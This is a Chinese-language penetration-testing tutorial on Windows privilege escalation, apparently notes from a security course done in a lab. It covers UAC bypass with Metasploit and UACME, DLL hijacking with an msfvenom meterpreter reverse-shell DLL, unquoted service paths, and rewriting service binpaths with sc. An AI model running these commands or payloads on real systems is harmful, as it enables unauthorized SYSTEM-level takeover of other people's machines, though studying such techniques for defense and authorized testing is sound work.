【权限提升】WIN本地用户BypassUACDLL劫持引号路径服务权限

本文主要是介绍【权限提升】WIN本地用户BypassUACDLL劫持引号路径服务权限,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章内容复现于小迪安全相关课程

Win7&10-BypassUAC自动提权-MSF&UACME

用户账户控制-UAC

用户帐户控制User Account Control,简写作UAC)是 微软 公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对 应用程序 使用 硬盘驱动器 系统文件 授权,以达到帮助阻止 恶意程序 (有时也称为“ 恶意软件 ”)损坏系统的效果。

四种级别

总是通知将会:
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时通知你。
冻结其他任务,直到你做出响应。
注意:如果你经常安装新软件或访问陌生网站,则推荐使用此选项。
仅当相关程序尝试更改我的计算机时通知我
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时不通知你。
冻结其他任务,直到你做出响应。
注意:如果你经常安装新软件或访问不熟悉的网站,但更改 Windows 设置时不希望收到通知,则建议使用此选项。
仅当相关程序尝试更改计算机时通知我(不降低桌面亮度)
当程序试图安装软件或对电脑做出更改时通知你。
当你对 Windows 设置进行更改时不通知你。
不会冻结其他任务或等待响应。
注意:如果需要花费很长时间才能降低计算机上的桌面亮度时,才建议选择此选项。否则,建议选择上面的一种选项。
从不通知(禁用 UAC)将会:
当程序试图安装软件或对电脑做出更改时不通知你。
当你对 Windows 设置进行更改时不通知你。
不会冻结其他任务或等待响应。
注意:出于安全考虑,此选项不推荐使用。

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC

绕过项目:MSF内置,UACME项目(推荐),Powershell渗透框架

开启UAC和未开启UAC时,MSF默认getsystem提权影响(进程注入)

未开启UAC getsystem直接提权成功:

开启UAC msf直接提权不成功:

1、MSF模块:

-Test in Win7 本地电脑 本地权限

use exploit/windows/local/bypassua

该模块不适用于win10操作系统:

-Test in Win10 本地电脑 本地权限

use exploit/windows/local/ask #对方电脑弹框,需要目标电脑确定,但是通杀各种版本

录制的视频有点大(一分半),插不进来,详见百度云视频链接

use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup #使用方法类似,适用于win10操作系统

2、UACME项目:百度云链接

https://github.com/hfiref0x/UACME(可以自己下载最新版本源代码自行编译,百度云中是编译好的)

Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor.
x86-32/x64 Windows 7/8/8.1/10/11 (client, some methods however works on server version too).
Admin account with UAC set on default settings required.

Run examples: 61个选项即61种方式绕过UAC

akagi32.exe 23
akagi64.exe 61
akagi32 23 c:\windows\system32\calc.exe
akagi64 61 c:\windows\system32\charmap.exe
好用的编号 23  61
Akagi64.exe 编号 调用执行

调用后门程序如果没反应的话就多尝试其他编号

3、Powershell渗透框架:

暂时搁置……

Win2012-DLL劫持提权应用配合MSF-FlashFXP

程序运行过程中加载的动态链接库;limux下以so为后缀

原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。

通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作dll并上传-替换dll-启动应用后成功

检测: ChkDllHijack 火绒剑

上方dll文件在C:\Windows目录下,普通用户权限不够,不能够劫持。下方dll文件在程序当前目录下,可以尝试劫持。

项目:https://github.com/anhkgg/anhkgg-tools 百度云链接

拖入程序,输入相关进程路径,检测能否劫持

能够劫持 测试程序flashfxp(模拟对方服务器上部署的ftp服务) 百度云链接

‘’不能劫持

利用火绒剑进行进程分析加载DLL,一般寻程序DLL利用。

msf生成 dll劫持文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.146 lport=4444 -f dll -o ssleay32.dll

提前信息收集相关软件及DLL问题程序,本地调试成功后覆盖DLL实现利用

条件:需要管理员去触发执行靶机上flashfxp程序,实现dll劫持

不带引号服务路径配合MSF-MacroExpert

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功

检测项目:JAWS

https://github.com/411Hall/JAWS

Usage:

Run from within CMD shell and write out to file.

CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

Run from within CMD shell and write out to screen.

CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1

Run from within PS Shell and write out to file.

PS C:\temp> .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt
带引号:
"C:\Program Files (x86)\Common Files\Adobe\AdobeUpdateService.exe"
带引号 有空格的目录还是一个整体
不带引号:
C:\Progra m Files (x86)\Common Files\Adobe\AdobeUpdateService.exe(中间有空格)
不带引号 有空格的目录就会认为是文件加参数
条件:需要目标靶机可以运行powershell脚本,

Test in win server 2008

这里我直接在靶机上直接运行的脚本,powershell上实在太慢了

生成了一个455kb的结果,截取其中我们想要获取的部分

以 C:\Program Files (x86)\Windows Media Player\wmplayer.exe 为例,我们将后门改查Program.exe 并且上传至C盘根目录下,等到服务器重启或者对应服务重启后,后门以system权限上线。

检测命令:(功能同JAWS 并且排查winodws下目录(windows目录下权限不够))

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

上传反弹exe,设置好对应执行名后,执行sc start "OfficeUpdateService"

不安全的服务权限配合MSF-NewServices

原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务路径指向-调用后成功
检测脚本:accesschk PowerUp(PowerSploit)1、accesschk.exe -uwcqv "administrators" *   #检测所有服务以权限
2、Import-Module .\PowerUp.ps1
Invoke-All Checks

重点关注 权限为 SERVICE_ALL_ACCESS 的服务

https://github.com/PowerShellMafia/PowerSploit

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

sc config "OfficeUpdateService" binpath="C:\Program.exe" #需要本地用户权限 webshell权限不行
sc start OfficeUpdateService
注:路径的空格引号问题 但是没有修改服务本身路径的权限
服务权限问题 可以修改服务对应的路径

部分复现有丢失,后续再补

这篇关于【权限提升】WIN本地用户BypassUACDLL劫持引号路径服务权限的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/416352

相关文章

Linux上设置Ollama服务配置(常用环境变量)

《Linux上设置Ollama服务配置(常用环境变量)》本文主要介绍了Linux上设置Ollama服务配置(常用环境变量),Ollama提供了多种环境变量供配置,如调试模式、模型目录等,下面就来介绍一... 目录在 linux 上设置环境变量配置 OllamPOgxSRJfa手动安装安装特定版本查看日志在

SpringCloud之LoadBalancer负载均衡服务调用过程

《SpringCloud之LoadBalancer负载均衡服务调用过程》:本文主要介绍SpringCloud之LoadBalancer负载均衡服务调用过程,具有很好的参考价值,希望对大家有所帮助,... 目录前言一、LoadBalancer是什么?二、使用步骤1、启动consul2、客户端加入依赖3、以服务

Linux修改pip和conda缓存路径的几种方法

《Linux修改pip和conda缓存路径的几种方法》在Python生态中,pip和conda是两种常见的软件包管理工具,它们在安装、更新和卸载软件包时都会使用缓存来提高效率,适当地修改它们的缓存路径... 目录一、pip 和 conda 的缓存机制1. pip 的缓存机制默认缓存路径2. conda 的缓

SpringSecurity 认证、注销、权限控制功能(注销、记住密码、自定义登入页)

《SpringSecurity认证、注销、权限控制功能(注销、记住密码、自定义登入页)》SpringSecurity是一个强大的Java框架,用于保护应用程序的安全性,它提供了一套全面的安全解决方案... 目录简介认识Spring Security“认证”(Authentication)“授权” (Auth

Windows系统下如何查找JDK的安装路径

《Windows系统下如何查找JDK的安装路径》:本文主要介绍Windows系统下如何查找JDK的安装路径,文中介绍了三种方法,分别是通过命令行检查、使用verbose选项查找jre目录、以及查看... 目录一、确认是否安装了JDK二、查找路径三、另外一种方式如果很久之前安装了JDK,或者在别人的电脑上,想

Python中Windows和macOS文件路径格式不一致的解决方法

《Python中Windows和macOS文件路径格式不一致的解决方法》在Python中,Windows和macOS的文件路径字符串格式不一致主要体现在路径分隔符上,这种差异可能导致跨平台代码在处理文... 目录方法 1:使用 os.path 模块方法 2:使用 pathlib 模块(推荐)方法 3:统一使

Spring Security注解方式权限控制过程

《SpringSecurity注解方式权限控制过程》:本文主要介绍SpringSecurity注解方式权限控制过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、摘要二、实现步骤2.1 在配置类中添加权限注解的支持2.2 创建Controller类2.3 Us

一文教你解决Python不支持中文路径的问题

《一文教你解决Python不支持中文路径的问题》Python是一种广泛使用的高级编程语言,然而在处理包含中文字符的文件路径时,Python有时会表现出一些不友好的行为,下面小编就来为大家介绍一下具体的... 目录问题背景解决方案1. 设置正确的文件编码2. 使用pathlib模块3. 转换路径为Unicod

Redis实现RBAC权限管理

《Redis实现RBAC权限管理》本文主要介绍了Redis实现RBAC权限管理,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录1. 什么是 RBAC?2. 为什么使用 Redis 实现 RBAC?3. 设计 RBAC 数据结构

Nginx配置系统服务&设置环境变量方式

《Nginx配置系统服务&设置环境变量方式》本文介绍了如何将Nginx配置为系统服务并设置环境变量,以便更方便地对Nginx进行操作,通过配置系统服务,可以使用系统命令来启动、停止或重新加载Nginx... 目录1.Nginx操作问题2.配置系统服android务3.设置环境变量总结1.Nginx操作问题